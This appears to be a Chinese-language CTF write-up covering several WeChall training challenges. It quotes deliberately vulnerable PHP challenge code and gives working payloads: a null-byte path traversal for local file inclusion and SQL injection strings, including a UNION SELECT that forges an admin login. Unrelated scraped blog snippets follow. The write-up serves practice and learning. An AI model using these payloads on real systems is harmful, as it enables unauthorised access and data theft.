Wechall 部分WP

前言:

开始打CTF,掌握一些新的姿势与知识。

这里我选择的平台是Wechall。这里从简单到难

WP部分:

Training: Get SourcedAnswer:

查看网页源代码

Training: Stegano IAnswer

这里有张图片,下载。用十六进制打开获得password

Training: Crypto - Caesar IAnswer

题目提示凯撒密码加密。这里感谢一下群里某位师傅发的进制转换器。很好用

Training: WWW-Robots (HTTP, Training)

访问robots.txt

Training: ASCIIAnswer

Ascii码转换:

Ascii:84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 101, 110, 97, 110, 114, 114, 111, 108, 97, 98, 108, 111

字符:The solution ion is: enanrroablo

密码是:enanrroablo

Encodings: URLAnswer

url编码解密
%59%69%70%70%65%68%21%20%59%6F%75%72%20%55%52%4C%20%69%73%20%63%68%61%6C%6C%65%6E%67%65%2F%74%72%61%69%6E%69%6E%67%2F%65%6E%63%6F%64%69%6E%67%73%2F%75%72%6C%2F%73%61%77%5F%6C%6F%74%69%6F%6E%2E%70%68%70%3F%70%3D%61%6C%62%65%61%63%67%65%64%63%67%67%26%63%69%64%3D%35%32%23%70%61%73%73%77%6F%72%64%3D%66%69%62%72%65%5F%6F%70%74%69%63%73%20%56%65%72%79%20%77%65%6C%6C%20%64%6F%6E%65%21

密码是:wc_profile_slide

Training: Encodings IAnswer

一把二进制:

10101001101000110100111100110100
00011101001100101111100011101000
10000011010011110011010000001101
11010110111000101101001111010001
00000110010111011101100011110111
11100100110010111001000100000110
00011110011110001111010011101001
01011100100000101100111011111110
10111100100100000111000011000011
11001111100111110111110111111100
10110010001000001101001111001101
00000110010111000011110011111100
11110011111010011000011110010111
0100110010111100100101110

联想到到二进制转ASK密码是:fibre_optics

Training: Programming 1 (Training, Coding)

要求是:当您访问此链接时,您会收到一条消息。
将相同的消息提交回http://www.wechall.net/challenge/training/programming1/index.php?answer=the_message 
您的时间限制是1.337秒

用python获取到id,在进行提交

代码:

import requests
url=‘http://www.wechall.net/challenge/training/programming1/index.php?action=request‘

url2=‘http://www.wechall.net/challenge/training/programming1/index.php?answer=the_message‘

def tijiao():
  headers={‘user-agetn‘:‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36‘}
      cookie={‘xx‘:‘xxxxx‘}
       rest=requests.get(url=url,headers=headers,cookies=cookie)
        yc=url2+rest.content.decode(‘utf-8‘)
        bd=requests.get(url=yc,headers=headers,cookie=cookie)
        print(bd.content.decode(‘utf-8‘))
tijiao()

Training: PHP LFI

本地文件包含漏洞,要求:你的任务是利用这个代码,这显然有一个LFI漏洞../solution.php中 有很多重要的东西,所以请为我们包含并执行这个文件。 以下是脚本的一些示例(在下面的框中):index.php?file = welcomeindex.php?file = newsindex.php?file = forums 为了进行调试,您可以再次查看整个源代码,也作为突出显示的版本

题目给出的源代码:

<?php
# Higlighter Plain
if (isset($_GET[‘show‘]) && $_GET[‘show‘] === ‘source‘)
{
	header(‘Content-Type: text/plain; charset=utf8;‘);
	echo file_get_contents(‘index.php‘);
	die();
}

# Change dir to web root
chdir(‘../../../../../‘);

# Print the website header
define(‘GWF_PAGE_TITLE‘, ‘Local File Inclusion‘);
require_once(‘challenge/html_head.php‘);
if (false === ($chall = WC_Challenge::getByTitle(‘Training: PHP LFI‘))) {
	$chall = WC_Challenge::dummyChallenge(‘Training: PHP LFI‘, 2, ‘challenge/training/php/lfi/up/index.php‘, false);
}
$chall->showHeader();

# Highlighter BBCode
if (isset($_GET[‘highlight‘]) && $_GET[‘highlight‘] === ‘christmas‘)
{
	echo GWF_Message::display(‘[PHP]‘.file_get_contents($_SERVER[‘SCRIPT_FILENAME‘]).‘[/PHP]‘);
	require_once(‘challenge/html_foot.php‘);
	return;
}

###############################
### Here is your exploit :) ###
###############################
$code = ‘$filename = \‘pages/\‘.(isset($_GET["file"])?$_GET["file"]:"welcome").\‘.html\‘;‘;
$code_emulate_pnb = ‘$filename = Common::substrUntil($filename, "\\0");‘; # Emulate Poison Null Byte for PHP>=5.3.4
$code2 = ‘include $filename;‘;
### End of exploit ###

# Show the mission box
$url = ‘index.php?file=‘;
$ex = array(‘welcome‘, ‘news‘, ‘forums‘);
$showsrc1 = ‘index.php?show=source‘;
$showsrc2 = ‘index.php?highlight=christmas‘;
foreach ($ex as $i => $e) { $ex[$i] = htmlspecialchars($url.$e); }
echo GWF_Box::box($chall->lang(‘info‘, array(GWF_Message::display(‘[PHP]‘.$code.PHP_EOL.$code2.‘[/PHP]‘), ‘../solution.php‘, $showsrc1, $showsrc2, $ex[0], $ex[1], $ex[2])), $chall->lang(‘title‘));

# Execute the code, using eval.
GWF_Debug::setDieOnError(false);
GWF_Debug::setMailOnError(false);
eval($code.$code_emulate_pnb); # eval the first line

echo ‘<div class="box">‘.PHP_EOL;
echo ‘<div class="box_t">‘.$chall->lang(‘example_title‘).‘ (‘.htmlspecialchars($filename).‘)‘.‘</div>‘.PHP_EOL;
echo ‘<div class="box_c">‘.PHP_EOL;
if (lfiIsSafeDir($filename) === true) { eval($code2); } # Eval the second line, when safe.
else { echo GWF_HTML::error(‘LFI‘, $chall->lang(‘err_basedir‘), false); }
echo ‘</div>‘.PHP_EOL;
echo ‘</div>‘.PHP_EOL;
GWF_Debug::setMailOnError(true);
GWF_Debug::setDieOnError(true);

# Show credits box
if (false !== ($minus = GWF_User::getByName(‘minus‘)))
{
	echo GWF_Box::box($chall->lang(‘credits‘, array($minus->displayProfileLink())));
}

# Show end of website
echo $chall->copyrightFooter();
require_once(‘challenge/html_foot.php‘);

### Safety first ###
function lfiIsSafeDir($filename)
{
	$valid = array(
		‘pages‘,
		‘pages/../..‘,
		‘pages/..‘,
	);
	$d = dirname($filename);
	return in_array($d, $valid, true);
}
?>

通过尝试发现会把包含的文件在后缀名加上.html

然后得出结果:http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

通过%00截断

MySQL Authentication Bypass - The classic

mysql 1,给你一个表单要求你登录进行。

题目给的源代码:

<?php
/* TABLE STRUCTURE
CREATE TABLE IF NOT EXISTS users (
userid    INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username  VARCHAR(32) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
password  CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL
) ENGINE=myISAM;
*/

# Username and Password sent?
if ( (‘‘ !== ($username = Common::getPostString(‘username‘))) && (false !== ($password = Common::getPostString(‘password‘, false))) ) {
	auth1_onLogin($chall, $username, $password);
}

/**
 * Get the database for this challenge.
 * @return GDO_Database
 */
function auth1_db()
{
	if (false === ($db = gdo_db_instance(‘localhost‘, WCC_AUTH_BYPASS1_USER, WCC_AUTH_BYPASS1_PASS, WCC_AUTH_BYPASS1_DB))) {
		die(‘Database error 0815_1!‘);
	}
	$db->setLogging(false);
	$db->setEMailOnError(false);
	return $db;
}

/**
 * Exploit this!
 * @param WC_Challenge $chall
 * @param unknown_type $username
 * @param unknown_type $password
 * @return boolean
 */
function auth1_onLogin(WC_Challenge $chall, $username, $password)
{
	$db = auth1_db();

	$password = md5($password);

	$query = "SELECT * FROM users WHERE username=‘$username‘ AND password=‘$password‘";

	if (false === ($result = $db->queryFirst($query))) {
		echo GWF_HTML::error(‘Auth1‘, $chall->lang(‘err_unknown‘), false); # Unknown user
		return false;
	}

	# Welcome back!
	echo GWF_HTML::message(‘Auth1‘, $chall->lang(‘msg_welcome_back‘, htmlspecialchars($result[‘username‘])), false);

	# Challenge solved?
	if (strtolower($result[‘username‘]) === ‘admin‘) {
		$chall->onChallengeSolved(GWF_Session::getUserID());
	}

	return true;
}
?>
<form action="index.php" method="post">
<table>
<tr>
	<td><?php echo $chall->lang(‘username‘); ?>:</td>
	<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
	<td><?php echo $chall->lang(‘password‘); ?>:</td>
	<td><input type="password" name="password" value="" /></td>
</tr>
<tr>
	<td></td>
	<td><input type="submit" name="login" value="<?php echo $chall->lang(‘btn_login‘); ?>" /></td>
</tr>
</table>
</form>

 没有任何过滤

‘or’1=‘1即可

MySQL Authentication Bypass II:

上一题的升级版,再次查看题目给的源代码

发现秘密和用户名分开验证。做了一定的措施

但是没做过滤。

源代码:

<?php
/* TABLE STRUCTURE
CREATE TABLE IF NOT EXISTS users (
userid    INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username  VARCHAR(32) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
password  CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL
) ENGINE=myISAM;
*/

# Username and Password sent?
if ( (‘‘ !== ($username = Common::getPostString(‘username‘))) && (false !== ($password = Common::getPostString(‘password‘, false))) ) {
	auth2_onLogin($chall, $username, $password);
}

/**
 * Get the database for this challenge.
 * @return GDO_Database
 */
function auth2_db()
{
	if (false === ($db = gdo_db_instance(‘localhost‘, WCC_AUTH_BYPASS2_USER, WCC_AUTH_BYPASS2_PASS, WCC_AUTH_BYPASS2_DB))) {
		die(‘Database error 0815_2!‘);
	}
	$db->setLogging(false);
	$db->setEMailOnError(false);
	return $db;
}

/**
 * Exploit this! It is the same as MySQL-I, but with an additional check, marked with ###
 * @param WC_Challenge $chall
 * @param unknown_type $username
 * @param unknown_type $password
 * @return boolean
 */
function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
	$db = auth2_db();

	$password = md5($password);

	$query = "SELECT * FROM users WHERE username=‘$username‘";

	if (false === ($result = $db->queryFirst($query))) {
		echo GWF_HTML::error(‘Auth2‘, $chall->lang(‘err_unknown‘), false);
		return false;
	}

	#############################
	### This is the new check ###
	if ($result[‘password‘] !== $password) {
		echo GWF_HTML::error(‘Auth2‘, $chall->lang(‘err_password‘), false);
		return false;
	} #  End of the new code  ###
	#############################

	echo GWF_HTML::message(‘Auth2‘, $chall->lang(‘msg_welcome_back‘, array(htmlspecialchars($result[‘username‘]))), false);

	if (strtolower($result[‘username‘]) === ‘admin‘) {
		$chall->onChallengeSolved(GWF_Session::getUserID());
	}

	return true;
}
?>
<form action="index.php" method="post">
<table>
<tr>
	<td><?php echo $chall->lang(‘username‘); ?>:</td>
	<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
	<td><?php echo $chall->lang(‘password‘); ?>:</td>
	<td><input type="password" name="password" value="" /></td>
</tr>
<tr>
	<td></td>
	<td><input type="submit" name="login" value="<?php echo $chall->lang(‘btn_login‘); ?>" /></td>
</tr>
</table>
</form>

  

如果username存在则执行查询,并且为admin。我们用unnion 这条语句把判断给pass掉即可。

得出答案:

username :‘ union select 1,‘admin‘ as username ,md5(‘1‘) as password from users where username =‘admin‘#password:1

原文地址:https://www.cnblogs.com/haq5201314/p/9291875.html

时间: 2024-10-08 10:21:21

Wechall 部分WP的相关文章

微信公众号支付安卓和WP支付成功,苹果不能支付!

花了几天时间,终于搞好了,代码是从官网上下的.NET DEMO的代码改的,测试的时候发现安卓和WP手机都能进行支付,但是苹果的怎么支付都支付不了,主要是在下面这个界面 点支付按钮就是苹果支付不了,其他手机都能支付.搞了几天,本来应该是昨天应该搞出来的,但昨天不知道怎么回事同事的iphone加上电脑上的finddler 就是抓 不了包. 今天又再设置了一次finddler, 发现又 可以抓 到包了...结果在抓包的时候看生成的支付页面的代码,才发现问题: 如图, 那个DEMO生成的支付按钮是sut

[All in one WP Migration plugin] 搬迁wordpress 站点

为了方便大家去轻松的migrate 一个wordpress站点, 有developer开发出了一款插件----------All in one WP Migration ;这样大家就可以不用像之前一样要去分别备份数据库和网站文件了; 1. 首先, 在需要搬迁的旧站点和新站点的后台都需要去安装这个 All in one WP Migration plugin; 2. 在旧站点, 右键plugin, 点击export, 这样的操作是为了导出整个网站的备份文件. 需要注意的细节如下; 2.1> 点击右

WeChall writeup

PHP - Local File Inclusion ############################### ### Here is your exploit :) ### ############################### $code = '$filename = \'pages/\'.(isset($_GET["file"])?$_GET["file"]:"welcome").\'.html\';'; $code_emul

C#学习(九)之Windows Store App &amp; WP 开发小记(一)

由于课程已经讲述完毕,所以本次学习记录就讨论记录一下我在Windows Store App & WP开发中遇到的一些问题与收获. 一.数据库(Sqlite)的使用 虽然资料很难找,但sqlite在这两个平台的使用还是很简单的. 首先是环境配置阶段: 1.工具->拓展与更新->联机,然后在右上搜索sqlite,之后下载安装下图两个打勾的拓展包,注意要重启VS方才生效. 2.项目->管理NuGet程序包->联机,搜索sqlite,安装下图打勾内容,如果项目多出下图两个文件即安装

WordPress缓存插件WP Super Cache的使用及常见问题解决

WP Super Cache是一款很好的WordPress优化插件,是我用过最好的一款缓存插件.打开WordPress后台搜索插件页面,第一个就是这个插件,可想而知他的地位有多厉害了. 什么是WP Super Cache? WP Super Cache从你的动态Wordpress Blog中生成静态的html文件.当一个html文件生成后,你的服务器就会用显示这个文件来取代处理相对而言需要更大工作量和更多WordPress PHP脚本的动作. 生成的静态html文件会为你的绝大部分用户服务,除了

WordPress插件:WP No Category Base 去除分类Category目录

不少折腾WordPress的朋友都希望去掉分类链接中的 /category/ 目录标志,网上很多这方面的教程,据倡萌所知,除了使用 WP No Category Base 插件(或类似插件),其他的方法都是不太完美的.WordPress大学目前也去掉了/category/ 目录,使用的正是 WP No Category Base 插件. WP No Category Base 插件功能简单,就是仅仅为了去除 /category/ 目录标志,直接安装,不需要任何设置就可以使用. WP No Cat

【Wechall.net挑战】Anderson Application Auditing

Wechall.net是一个国外用于练习CTF和攻防的网站,国内资料writeup不多,只有个别几篇.作为小白,近日玩了几道有意思的题目,在此分享 题目地址:http://www.wechall.net/challenge/Z/aaa/index.php 题目大意是要入侵一个网络,给了一些已知的信息 在源码中找到www.wechall.net/challenge/Z/aaa/partners.html 然后找到技术文档:http://www.wechall.net/challenge/Z/aaa

wp super cache无法预缓存问题

突然发现wp-super-cache无法预缓存,点击[立即加载预缓存]后没有任何效果,并且垃圾回收定时器也失效了,缓存文件全是几天前的,感觉很奇怪!闲下来的时候,突然想起前些天对博客做的一些优化,于是回头挨个去检查,最终发现导致预缓存和定时器失效的原因是因为我优化的时候禁用了WP Cron的功能! 下面这段摘自V7V3的优化教程: 5.禁用WP Cron(我们知道WordPress有个进程专门用来在指定的时间周期或者将来的某个时间点运行特定的任务,比如定时发布某篇日志,这个功能WordPress

WP装逼研究:如何营造让人花钱的游戏

游戏是最好做也是最不好做的项目,游戏的好坏现在都是直接从数据来说话,Windows Phone的游戏应用同样不可能逃出这个行业准则,要说在市场里做的好,那就直接拿数据来说,几乎没人会去在乎游戏到底传达了什么,一刀切看收入,如果解决用户量的问题,下一步一定是收入问题,今天的装逼研究就是探讨如何营造让人花钱的游戏. <我叫MT>.<魔卡幻想>2013年爆出在Windows Phone平台中500万/月流水的消息,引得2014年一片抢滩争夺WP,单单从数据来说,这应该是Windows P